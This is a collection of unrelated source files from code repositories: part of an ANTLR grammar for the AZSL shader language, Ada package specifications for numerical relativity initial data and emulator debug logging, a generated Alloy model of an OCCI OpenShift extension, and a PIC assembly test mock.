Int2x3 | Int2x4 | Int3x1 | Int3x2 | Int3x3 | Int3x4 | Int4x1 | Int4x2 | Int4x3 | Int4x4 | Uint1x1 | Uint1x2 | Uint1x3 | Uint1x4 | Uint2x1 | Uint2x2 | Uint2x3 | Uint2x4 | Uint3x1 | Uint3x2 | Uint3x3 | Uint3x4 | Uint4x1 | Uint4x2 | Uint4x3 | Uint4x4 | Dword1x1 | Dword1x2 | Dword1x3 | Dword1x4 | Dword2x1 | Dword2x2 | Dword2x3 | Dword2x4 | Dword3x1 | Dword3x2 | Dword3x3 | Dword3x4 | Dword4x1 | Dword4x2 | Dword4x3 | Dword4x4 | Half1x1 | Half1x2 | Half1x3 | Half1x4 | Half2x1 | Half2x2 | Half2x3 | Half2x4 | Half3x1 | Half3x2 | Half3x3 | Half3x4 | Half4x1 | Half4x2 | Half4x3 | Half4x4 | Float1x1 | Float1x2 | Float1x3 | Float1x4 | Float2x1 | Float2x2 | Float2x3 | Float2x4 | Float3x1 | Float3x2 | Float3x3 | Float3x4 | Float4x1 | Float4x2 | Float4x3 | Float4x4 | Double1x1 | Double1x2 | Double1x3 | Double1x4 | Double2x1 | Double2x2 | Double2x3 | Double2x4 | Double3x1 | Double3x2 | Double3x3 | Double3x4 | Double4x1 | Double4x2 | Double4x3 | Double4x4 ; genericMatrixPredefinedType: Matrix Less scalarType Comma Rows_=IntegerLiteral Comma Cols_=IntegerLiteral Greater ; registerAllocation: Colon Register LeftParen Address=Identifier RightParen ; samplerStateProperty: Name=Identifier EqualsToken=Assign Expr=expression Semi ; literal: True | False | FloatLiteral | IntegerLiteral | StringLiteral+ ; // leading type means a function where the return type is stated first (contrary to trailing type) leadingTypeFunctionSignature: storageFlags functionType (ClassName=userDefinedType ColonColon)? Name=Identifier genericParameterList? LeftParen functionParams? RightParen Override? hlslSemantic? // AZSL+ ; hlslFunctionDefinition: leadingTypeFunctionSignature block ; hlslFunctionDeclaration: leadingTypeFunctionSignature Semi ; functionType: type | Void ; userDefinedType: idExpression | anyStructuredTypeDefinition // to allow "struct tag_ {} var;" ; // ==================== // == AZSL specifics == // swift/slang concept of protocol's "virtual type" associatedTypeDeclaration: KW_AssociatedType Name=Identifier genericConstraint? Semi ; // typedef support (extension of fxc accepted language, but normal for dxc) typedefStatement: KW_Typedef ExistingType=functionType NewTypeName=Identifier Semi ; // swift/slang-like manner of writing typedef. also close to C++11 using typealiasStatement: KW_TypeAlias NewTypeName=Identifier '=' ExistingType=functionType Semi ; typeAliasingDefinitionStatement: typealiasStatement | typedefStatement ; typeofExpression: KW_Typeof '(' (Expr=expressionExt|functionType) ')' ('::' SubQualification=idExpression)? ; genericParameterList: '<' genericTypeDefinition (',' genericTypeDefinition)* '>' ; genericTypeDefinition: GenericTypeName=Identifier genericConstraint? ; // defined as its own rule, the language becomes automatically extensible if we want to extend // it later, to an expression, for protocol set operations: (ILight & IColor) genericConstraint: ':' userDefinedType // | ':' languageDefinedConstraint // [GFX TODO] ; languageDefinedConstraint: KW_Fundamental ; functionDeclaration: hlslFunctionDeclaration ; attributedFunctionDeclaration: attributeSpecifierAny* functionDeclaration ; functionDefinition: hlslFunctionDefinition ; attributedFunctionDefinition: attributeSpecifierAny* functionDefinition ; // special debugging intrinsics of the compiler compilerExtensionStatement: KW_ext_print_message '(' Message=StringLiteral ')' Semi | KW_ext_print_symbol '(' (idExpression|typeofExpression) ',' (KW_ext_prtsym_fully_qualified | KW_ext_prtsym_least_qualified | KW_ext_prtsym_constint_value) ')' Semi ; // AZSL SRG srgDefinition: Partial? ShaderResourceGroup Name=Identifier (':' Semantic=Identifier)? LeftBrace srgMemberDeclaration* RightBrace ; attributedSrgDefinition: attributeSpecifierAny* srgDefinition ; srgMemberDeclaration: structDefinitionStatement | attributedFunctionDeclaration | attributedFunctionDefinition | variableDeclarationStatement | enumDefinitionStatement | typeAliasingDefinitionStatement ; srgSemantic: ShaderResourceGroupSemantic Name=Identifier srgSemanticBodyDeclaration ; attributedSrgSemantic: attributeSpecifierAny* srgSemantic ; srgSemanticBodyDeclaration: LeftBrace srgSemanticMemberDeclaration* RightBrace ; srgSemanticMemberDeclaration: Frequency=FrequencyId '=' FrequencyValue=literal Semi | VariantFallback=ShaderVariantFallback '=' VariantFallbackValue=literal Semi ; samplerBodyDeclaration: LeftBrace samplerMemberDeclaration* RightBrace ; samplerMemberDeclaration: maxAnisotropyOption | minFilterOption | magFilterOption | mipFilterOption | reductionTypeOption | comparisonFunctionOption | addressUOption | addressVOption | addressWOption | minLodOption | maxLodOption | mipLodBiasOption | borderColorOption ; // sampler specific options maxAnisotropyOption: MAX_ANISOTROPY '=' IntegerLiteral ';'; minFilterOption: MIN_FILTER '=' filterModeEnum ';'; magFilterOption: MAG_FILTER '=' filterModeEnum ';'; mipFilterOption: MIP_FILTER '=' filterModeEnum ';'; reductionTypeOption: REDUCTION_TYPE '=' reductionTypeEnum ';'; comparisonFunctionOption: COMPARISON_FUNC '=' comparisonFunctionEnum ';'; addressUOption: ADDRESS_U '=' addressModeEnum ';'; addressVOption: ADDRESS_V '=' addressModeEnum ';'; addressWOption: ADDRESS_W '=' addressModeEnum ';'; minLodOption: MIN_LOD '=' FloatLiteral ';'; maxLodOption: MAX_LOD '=' FloatLiteral ';'; mipLodBiasOption: MIP_LOD_BIAS '=' FloatLiteral ';'; borderColorOption: BORDER_COLOR '=' borderColorEnum ';'; filterModeEnum: FILTER_MODE_POINT | FILTER_MODE_LINEAR; reductionTypeEnum: REDUCTION_TYPE_FILTER | REDUCTION_TYPE_COMPARISON | REDUCTION_TYPE_MINIMUM | REDUCTION_TYPE_MAXIMUM; addressModeEnum: ADDRESS_MODE_WRAP | ADDRESS_MODE_MIRROR | ADDRESS_MODE_CLAMP | ADDRESS_MODE_BORDER | ADDRESS_MODE_MIRROR_ONCE; comparisonFunctionEnum: COMPARISON_FUNCTION_NEVER | COMPARISON_FUNCTION_LESS | COMPARISON_FUNCTION_EQUAL | COMPARISON_FUNCTION_LESS_EQUAL | COMPARISON_FUNCTION_GREATER | COMPARISON_FUNCTION_NOT_EQUAL | COMPARISON_FUNCTION_GREATER_EQUAL | COMPARISON_FUNCTION_ALWAYS; borderColorEnum: BORDER_COLOR_OPAQUE_BLACK | BORDER_COLOR_TRANSPARENT_BLACK | BORDER_COLOR_OPAQUE_WHITE;
adm/code/src/admbase-initial.ads
leo-brewin/adm-bssn-numerical
1
16275
package ADMBase.Initial is procedure create_data; procedure create_grid; end ADMBase.Initial;
extension/org.eclipse.cmf.occi.openshift/alloy/openshift.als
occiware/occiware-openshift
0
5303
// Generated at Wed Nov 08 18:55:39 CET 2017 from by org.eclipse.cmf.occi.core.gen.alloy // ====================================================================== // // Static Semantics for OCCI Extension 'openshift' // // ====================================================================== module openshift open util/boolean open OCCI // ====================================================================== // // Imported extensions // // ====================================================================== open core open platform // ====================================================================== // // OCCI extension 'openshift' // // ====================================================================== one sig extension extends Extension {} { name = "openshift" scheme = "http://occiware.org/openshift#" import = core/extension + platform/extension kinds = ocnamespace + ocservicepod + occontainer + ocservicepodtocontainer no mixins no types } // ====================================================================== // // OCCI kind 'http://occiware.org/openshift#ocnamespace' // // ====================================================================== one sig ocnamespace extends Kind {} { term = "ocnamespace" scheme = "http://occiware.org/openshift#" no title parent = platform/application no attributes no actions entities in Ocnamespace } // ====================================================================== // Signature for Ocnamespace // ====================================================================== sig Ocnamespace extends platform/Application { } { hasKind[ocnamespace] } // ====================================================================== // // OCCI kind 'http://occiware.org/openshift#ocservicepod' // // ====================================================================== one sig ocservicepod extends Kind {} { term = "ocservicepod" scheme = "http://occiware.org/openshift#" no title parent = platform/component attributes = ocservicepod_openshift_servicepod_name + ocservicepod_openshift_servicepod_replicas no actions entities in Ocservicepod } // // OCCI attribute 'openshift.servicepod.name' // one sig ocservicepod_openshift_servicepod_name extends Attribute {} { name = "openshift.servicepod.name" type = core/String_DataType mutable = True required = False no default description = "Name of both the OpenShift Pod (its DeploymentConfig actually) and its facade service" multiple_values = } // // OCCI attribute 'openshift.servicepod.replicas' // one sig ocservicepod_openshift_servicepod_replicas extends Attribute {} { name = "openshift.servicepod.replicas" type = core/Integer_DataType mutable = True required = False no default description = "Number of pod replicas that OpenShift should instantiate" multiple_values = } // ====================================================================== // Signature for Ocservicepod // ====================================================================== sig Ocservicepod extends platform/Component { openshift_servicepod_name : lone String, openshift_servicepod_replicas : lone core/Integer, } { hasKind[ocservicepod] } // ====================================================================== // // OCCI kind 'http://occiware.org/openshift#occontainer' // // ====================================================================== one sig occontainer extends Kind {} { term = "occontainer" scheme = "http://occiware.org/openshift#" no title parent = platform/component attributes = occontainer_openshift_container_name + occontainer_openshift_container_image + occontainer_openshift_container_portMappings no actions entities in Occontainer } // // OCCI attribute 'openshift.container.name' // one sig occontainer_openshift_container_name extends Attribute {} { name = "openshift.container.name" type = core/String_DataType mutable = True required = False no default description = "name of the OpenShift container" multiple_values = } // // OCCI attribute 'openshift.container.image' // one sig occontainer_openshift_container_image extends Attribute {} { name = "openshift.container.image" type = core/String_DataType mutable = True required = False no default description = "Docker image of the OpenShift container" multiple_values = } // // OCCI attribute 'openshift.container.portMappings' // one sig occontainer_openshift_container_portMappings extends Attribute {} { name = "openshift.container.portMappings" type = core/String_DataType mutable = True required = False no default description = "mappings (targetPort) of service ports (ports.port) to its pod's containers' ports (ports.containerPort), in the format : servicePort1-containerPort1,servicePort2-containerPort2 Example : 8000-80,8443-443" multiple_values = } // ====================================================================== // Signature for Occontainer // ====================================================================== sig Occontainer extends platform/Component { openshift_container_name : lone String, openshift_container_image : lone String, openshift_container_portMappings : lone String, } { hasKind[occontainer] } // ====================================================================== // // OCCI kind 'http://occiware.org/openshift#ocservicepodtocontainer' // // ====================================================================== one sig ocservicepodtocontainer extends Kind {} { term = "ocservicepodtocontainer" scheme = "http://occiware.org/openshift#" no title parent = core/link no attributes no actions entities in Ocservicepodtocontainer } // ====================================================================== // Signature for Ocservicepodtocontainer // ====================================================================== sig Ocservicepodtocontainer extends core/Link { } { hasKind[ocservicepodtocontainer] } // ====================================================================== // Check consistency, i.e., there is at least one instance of this model. // ====================================================================== run Consistency {} for 10 // ====================================================================== // Instance containing the OCCI Type System only. // ====================================================================== run The_OCCI_Type_System {} for 0
src/firmware-tests/Platform/Smps/PollAfterSmpsMock.asm
pete-restall/Cluck2Sesame-Prototype
1
90347
#include "Platform.inc" #include "PollChain.inc" #include "TestDoubles.inc" radix decimal udata global calledPollAfterSmps calledPollAfterSmps res 1 PollAfterSmpsMock code global initialisePollAfterSmpsMock global POLL_AFTER_SMPS initialisePollAfterSmpsMock: banksel calledPollAfterSmps clrf calledPollAfterSmps return POLL_AFTER_SMPS: mockCalled calledPollAfterSmps return end
debug_logs.ads
SMerrony/dgemua
2
27900
<gh_stars>1-10 -- MIT License -- Copyright (c) 2021 <NAME> -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to deal -- in the Software without restriction, including without limitation the rights -- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions: -- The above copyright notice and this permission notice shall be included in all -- copies or substantial portions of the Software. -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -- SOFTWARE. with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; package Debug_Logs is Num_Lines : constant Integer := 100_000; -- each circular buffer has this many lines type Logs is (Debug_Log, -- Debug_Log, is the general-purpose _log, Mt_Log, -- Mt_Log, is for the type 6026 MT tape module Dkp_Log, -- Dkp_Log, is for the type 4231a Moving-Head Disk Dpf_Log, -- Dpf_Log, is for the type 6061 DPF disk module Dskp_Log, -- Dskp_Log, is for the type 6239 DSKP disk module Map_Log, -- Map_Log, is for BMC/DCH-related _log,ging Sc_Log -- Sc_Log, is for System Call logging in the VS emulator ); type Log_Filenames_T is array (Logs'Range) of Unbounded_String; Log_Filenames : constant Log_Filenames_T := (Debug_Log => To_Unbounded_String ("debug.log"), Mt_Log => To_Unbounded_String ("mt_debug.log"), Dkp_Log => To_Unbounded_String ("dkp_debug.log"), Dpf_Log => To_Unbounded_String ("dpf_debug.log"), Dskp_Log => To_Unbounded_String ("dskp_debug.log"), Map_Log => To_Unbounded_String ("bmcdch_debug.log"), Sc_Log => To_Unbounded_String ("syscall_debug.log")); type Log_Arr_T is array (Logs'Range, 1..Num_Lines) of Unbounded_String; type Log_Ptr_T is array (Logs'Range) of Positive; protected Loggers is procedure Init; procedure Debug_Logs_Dump (Directory : in String); procedure Debug_Print (Log : in Logs; Msg : in String); private Log_Array : Log_Arr_T; First_Line, Last_Line : Log_Ptr_T; end Loggers; end Debug_Logs;